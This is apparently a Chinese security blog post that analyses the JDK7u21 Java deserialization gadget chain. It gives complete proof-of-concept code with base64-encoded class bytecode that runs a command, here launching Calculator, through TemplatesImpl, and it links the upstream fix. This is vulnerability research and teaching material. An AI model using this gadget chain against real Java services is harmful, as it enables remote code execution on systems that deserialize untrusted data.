MENU

Catalog

    JDK7u21反序列

    September 24, 2022 • Read: 117 • Code auditing

    JDK7u21的核心就是sun.reflect.annotation.AnnotationInvocationHandler,它的invoke方法里调用了equalsImpl
    截屏2022-09-30 10.56.56.png

    看看equalsImpl方法
    截屏2022-09-30 10.57.40.png

    这里调用了getMemberMethods方法,继续跟进
    截屏2022-09-30 10.58.28.png

    很明显的反射调用任意方法,我们就能用它来调用TemplatesImpl类的newTransformer()或getOutputProperties()方法
    就像这样,this.type就是我们需要控制的参数
    构造函数如下
    截屏2022-09-30 13.16.30.png

    然后示例:

    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
            annotationInvocationHandlerConstruct.setAccessible(true);
            InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Templates.class, new HashMap );
    

    然后再来看看我们进入equalsImpl方法需要满足的条件
    截屏2022-09-30 13.23.04.png

    即需要满足:

    var2的方法名为equals
    该方法只有一个Object类型的参数
    

    在之前cc链中,可以通过Proxy类的newProxyInstance来动态创建代理,当这个被代理的对象调用任意方法时,就会调用对应InvocationHandler里的invoke方法
    所以现在就要找一个方法,以便能在反序列化时对proxy调用equals方法

    我们这里先分析是HashSet.readObject方法。
    截屏2022-09-30 14.05.35.png

    在for循环中有个put操作,跟进
    截屏2022-09-30 14.08.33.png

    后续有个hash
    截屏2022-09-30 14.13.55.png

    然后就是hashCode()固定的异或操作,然后返回hash值
    接着进行key.equals(k)操作,但之前还有个indexFor()函数,这用来得到其hash索引并将其赋给i
    截屏2022-09-30 14.25.37.png

    这个 i 就是哈希值,只有两个不同的对象的哈希值相同时才会执行到 key.equals(k) ,因为当 i 不同的时候两个对象会存在 table[i] 不在同一位置上
    截屏2022-09-30 15.56.46.png

    我们接下来的目的就是让 proxy 对象的哈希值,等于 TemplateImpl 对象的哈希值
    计算hash的主要是这

    int hash = hash(key);
    int i = indexFor(hash, table.length);
    

    proxy对象与TemplateImpl对象的 “哈希” 是否相等,取决于这两个对象的hashCode()是否相等。TemplateImpl的 hashCode()是一个 Native 方法,每次运 行都会发生变化,我们理论上是无法预测的,所以想让 proxy 的 hashCode() 与之相等只能寄希望于proxy.hashCode()

    proxy.hashCode()仍然会调用到 AnnotationInvocationHandler.invoke,进而调用AnnotationInvocationHandler.hashCodeImpl ,我们看看这个方法:
    截屏2022-09-30 16.11.27.png

    它会遍历this.memberValues,然后计算:var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())

    对JDK7U21来说,它使用了一个巧妙的方法:

    当memberValues里只有一个key和value时,这个计算会简化为(127 * key.hashCode()) ^ value.hashCode();
    当key.hashCode()为0时,进行^操作,会得到其本身,所以再简化为value.hashCode()
    当value为TemplatesImpl对象时,这两个对象的hash就变成完全相等
    

    所以现在只需找到一个hashCode为0的对象作为memberValues的key,然后让TemplatesImpl对象作为value,这样0和TemplatesImpl对象的hash值进行异或就会得到其本身,并且由于他们的hash值相同,所以计算出的hash索引也会相同,那么e的值就是之前的TemplatesImpl对象,这样即满足了e!=null的条件。
    爆破脚本:

    public static void bruteHashCode()
        {
            for (long i = 0; i < 9999999999L; i++) {
                if (Long.toHexString(i).hashCode() == 0) {
                    System.out.println(Long.toHexString(i));
                }
            }
        }
    

    截屏2022-09-30 16.30.38.png

    爆破出一个值f5a5a608
    意思是要求 AnnotationInvocationHandler.memberValues 的 key 为 f5a5a608 ,值为恶意的TemplatesImpl类
    来测试一下是否可行

    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import sun.misc.*;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    import java.util.HashMap;
    import java.util.HashSet;
    import java.util.LinkedHashSet;
    import java.util.Map;
    
    public class Test{
        public static void main(String[] args) throws Exception{
            //byte[] codes = new BASE64Decoder.decodeBuffer("yv66vgAAADMAMgcAJAoAAQAlCgAHACUKACYAJwgAKAoAJgApBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAlieXRlQ2xhc3MBABdMb3JnL2V4YW1wbGUvQnl0ZUNsYXNzOwEACkV4Y2VwdGlvbnMHACsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAR0aGlzAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAGPGluaXQ+AQADKClWAQAKU291cmNlRmlsZQEADkJ5dGVDbGFzcy5qYXZhAQAVb3JnL2V4YW1wbGUvQnl0ZUNsYXNzDAAgACEHAC0MAC4ALwEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMADAAMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAEABwAAAAAABAAJAAgACQACAAoAAABBAAIAAgAAAAm7AAFZtwACTLEAAAACAAsAAAAKAAIAAAANAAgADgAMAAAAFgACAAAACQANAA4AAAAIAAEADwAQAAEAEQAAAAQAAQASAAEAEwAUAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAASAAwAAAAgAAMAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAGAAZAAIAEQAAAAQAAQAaAAEAEwAbAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAXAAwAAAAqAAQAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAHAAdAAIAAAABAB4AHwADABEAAAAEAAEAGgABACAAIQACAAoAAABAAAIAAQAAAA4qtwADuAAEEgW2AAZXsQAAAAIACwAAAA4AAwAAABgABAAZAA0AGgAMAAAADAABAAAADgAVABAAAAARAAAABAABABIAAQAiAAAAAgAj");
            String s = "yv66vgAAADMAMgcAJAoAAQAlCgAHACUKACYAJwgAKAoAJgApBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAlieXRlQ2xhc3MBABdMb3JnL2V4YW1wbGUvQnl0ZUNsYXNzOwEACkV4Y2VwdGlvbnMHACsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAR0aGlzAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAGPGluaXQ+AQADKClWAQAKU291cmNlRmlsZQEADkJ5dGVDbGFzcy5qYXZhAQAVb3JnL2V4YW1wbGUvQnl0ZUNsYXNzDAAgACEHAC0MAC4ALwEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMADAAMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAEABwAAAAAABAAJAAgACQACAAoAAABBAAIAAgAAAAm7AAFZtwACTLEAAAACAAsAAAAKAAIAAAANAAgADgAMAAAAFgACAAAACQANAA4AAAAIAAEADwAQAAEAEQAAAAQAAQASAAEAEwAUAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAASAAwAAAAgAAMAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAGAAZAAIAEQAAAAQAAQAaAAEAEwAbAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAXAAwAAAAqAAQAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAHAAdAAIAAAABAB4AHwADABEAAAAEAAEAGgABACAAIQACAAoAAABAAAIAAQAAAA4qtwADuAAEEgW2AAZXsQAAAAIACwAAAA4AAwAAABgABAAZAA0AGgAMAAAADAABAAAADgAVABAAAAARAAAABAABABIAAQAiAAAAAgAj";
            BASE64Decoder base64Decoder = new BASE64Decoder();
            byte[] codes = base64Decoder.decodeBuffer(s);
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates,"_class",null);
            setFieldValue(templates,"_name","m1");
            setFieldValue(templates,"_bytecodes",new byte[][]{codes});
            setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
            HashMap<String, Object> objectObjectHashMap = new HashMap<String, Object>();
            objectObjectHashMap.put("f5a5a608",templates);
            Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
            annotationInvocationHandlerConstruct.setAccessible(true);
            InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Templates.class, objectObjectHashMap);
    
            Map proxy = (Map) Proxy.newProxyInstance(HashMap.class.getClassLoader(), new Class[]{Map.class}, h);
            System.out.println("Templates hashcode  :  " + templates.hashCode());
            System.out.println("proxy hashcode  :  " + proxy.hashCode());
    
    
    
    
        }
        public static void Serializable(Object object,String filename) throws IOException {
    
            OutputStream out = new FileOutputStream(filename);
    
            ObjectOutputStream objOut = new ObjectOutputStream(out);
    
            objOut.writeObject(object);
    
            objOut.close();
    
        }
    
        public static Object Unserializable(String filename) throws IOException, ClassNotFoundException {
    
            InputStream in = new FileInputStream(filename);
    
            ObjectInputStream objIn = new ObjectInputStream(in);
    
            Object obj = objIn.readObject();
    
            return obj;
    
    
        }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    }

    截屏2022-09-30 16.54.57.png

    确实进入了循环
    截屏2022-09-30 16.55.28.png

    if (e.hash == hash && ((k = e.key) == key || key.equals(k)))
    

    要调用equals方法,所以前面的e.hash == hash && (k = e.key) == key要为假,这个e.hash == hash自然为真,后面的(k = e.key) == key即将第一次循环的key取出(TemplatesImpl对象)和第二次循环的key(Proxy对象)进行比较,它们自然是false,所以能够直接来到equals方法。
    这样整条链子就通了,反序列化的时候 2 次 put,必须第一次 put 的是 TemplatesImpl 对象,第二次是代理对象,才可以成功反序列化。说白了就是,次序上需要可控,所以为什么使用LinkedHashMap而不是HashSet:

    1. 在实际使用的时候是不能用HashSet的,这是由于在插入数据时,它的顺序会变,这和上面的分析都违背了,所以不能用它,而只能用LinkedHashSet,它数据的下标就和插入时一样了。
    2. LinkedHashSet 是Set的一个具体实现,其维护着一个运行于所有条目的双重链接列表。此链接列表定义了迭代顺序,该迭代顺序可为插入顺序或是访问顺序。
    3. LinkedHashSet 继承于 HashSet,并且其内部是通过 LinkedHashMap 来实现的。有点类似于我们之前说的LinkedHashMap 其内部是基于 Hashmap 实现一样,不过还是有一点点区别的,如果我们需要迭代的顺序为插入顺序或者访问顺序,那么 LinkedHashSet 是需要你首先考虑的。

    所以编写poc:

    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import sun.misc.*;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    import java.util.HashMap;
    import java.util.HashSet;
    import java.util.LinkedHashSet;
    import java.util.Map;
    
    public class Test{
        public static void main(String[] args) throws Exception{
            //byte[] codes = new BASE64Decoder.decodeBuffer("yv66vgAAADMAMgcAJAoAAQAlCgAHACUKACYAJwgAKAoAJgApBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAlieXRlQ2xhc3MBABdMb3JnL2V4YW1wbGUvQnl0ZUNsYXNzOwEACkV4Y2VwdGlvbnMHACsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAR0aGlzAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAGPGluaXQ+AQADKClWAQAKU291cmNlRmlsZQEADkJ5dGVDbGFzcy5qYXZhAQAVb3JnL2V4YW1wbGUvQnl0ZUNsYXNzDAAgACEHAC0MAC4ALwEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMADAAMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAEABwAAAAAABAAJAAgACQACAAoAAABBAAIAAgAAAAm7AAFZtwACTLEAAAACAAsAAAAKAAIAAAANAAgADgAMAAAAFgACAAAACQANAA4AAAAIAAEADwAQAAEAEQAAAAQAAQASAAEAEwAUAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAASAAwAAAAgAAMAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAGAAZAAIAEQAAAAQAAQAaAAEAEwAbAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAXAAwAAAAqAAQAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAHAAdAAIAAAABAB4AHwADABEAAAAEAAEAGgABACAAIQACAAoAAABAAAIAAQAAAA4qtwADuAAEEgW2AAZXsQAAAAIACwAAAA4AAwAAABgABAAZAA0AGgAMAAAADAABAAAADgAVABAAAAARAAAABAABABIAAQAiAAAAAgAj");
            String s = "yv66vgAAADMAMgcAJAoAAQAlCgAHACUKACYAJwgAKAoAJgApBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAlieXRlQ2xhc3MBABdMb3JnL2V4YW1wbGUvQnl0ZUNsYXNzOwEACkV4Y2VwdGlvbnMHACsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAR0aGlzAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAGPGluaXQ+AQADKClWAQAKU291cmNlRmlsZQEADkJ5dGVDbGFzcy5qYXZhAQAVb3JnL2V4YW1wbGUvQnl0ZUNsYXNzDAAgACEHAC0MAC4ALwEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMADAAMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAEABwAAAAAABAAJAAgACQACAAoAAABBAAIAAgAAAAm7AAFZtwACTLEAAAACAAsAAAAKAAIAAAANAAgADgAMAAAAFgACAAAACQANAA4AAAAIAAEADwAQAAEAEQAAAAQAAQASAAEAEwAUAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAASAAwAAAAgAAMAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAGAAZAAIAEQAAAAQAAQAaAAEAEwAbAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAXAAwAAAAqAAQAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAHAAdAAIAAAABAB4AHwADABEAAAAEAAEAGgABACAAIQACAAoAAABAAAIAAQAAAA4qtwADuAAEEgW2AAZXsQAAAAIACwAAAA4AAwAAABgABAAZAA0AGgAMAAAADAABAAAADgAVABAAAAARAAAABAABABIAAQAiAAAAAgAj";
            BASE64Decoder base64Decoder = new BASE64Decoder();
            byte[] codes = base64Decoder.decodeBuffer(s);
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates,"_class",null);
            setFieldValue(templates,"_name","m1");
            setFieldValue(templates,"_bytecodes",new byte[][]{codes});
            setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
            HashMap<String, Object> objectObjectHashMap = new HashMap<String, Object>();
            objectObjectHashMap.put("f5a5a608","m1");
            Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
            annotationInvocationHandlerConstruct.setAccessible(true);
            InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Templates.class, objectObjectHashMap);
    
            Map proxy = (Map) Proxy.newProxyInstance(HashMap.class.getClassLoader(), new Class[]{Map.class}, h);
            HashSet hashSet = new LinkedHashSet();
            hashSet.add(templates);
            hashSet.add(proxy);
            objectObjectHashMap.put("f5a5a608",templates);
    
            Serializable(hashSet,"test.bin");
            Unserializable("test.bin");
    
    
    
    
        }
        public static void Serializable(Object object,String filename) throws IOException {
    
            OutputStream out = new FileOutputStream(filename);
    
            ObjectOutputStream objOut = new ObjectOutputStream(out);
    
            objOut.writeObject(object);
    
            objOut.close();
    
        }
    
        public static Object Unserializable(String filename) throws IOException, ClassNotFoundException {
    
            InputStream in = new FileInputStream(filename);
    
            ObjectInputStream objIn = new ObjectInputStream(in);
    
            Object obj = objIn.readObject();
    
            return obj;
    
    
        }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    }

    截屏2022-09-30 17.09.28.png

    修复
    官方修复:https://github.com/openjdk/jdk7u/commit/b3dd6104b67d2a03b94a4a061f7a473bb0d2dc4e

    Last Modified: September 30, 2022
    Archives Tip
    QR Code for this page
    Tipping QR Code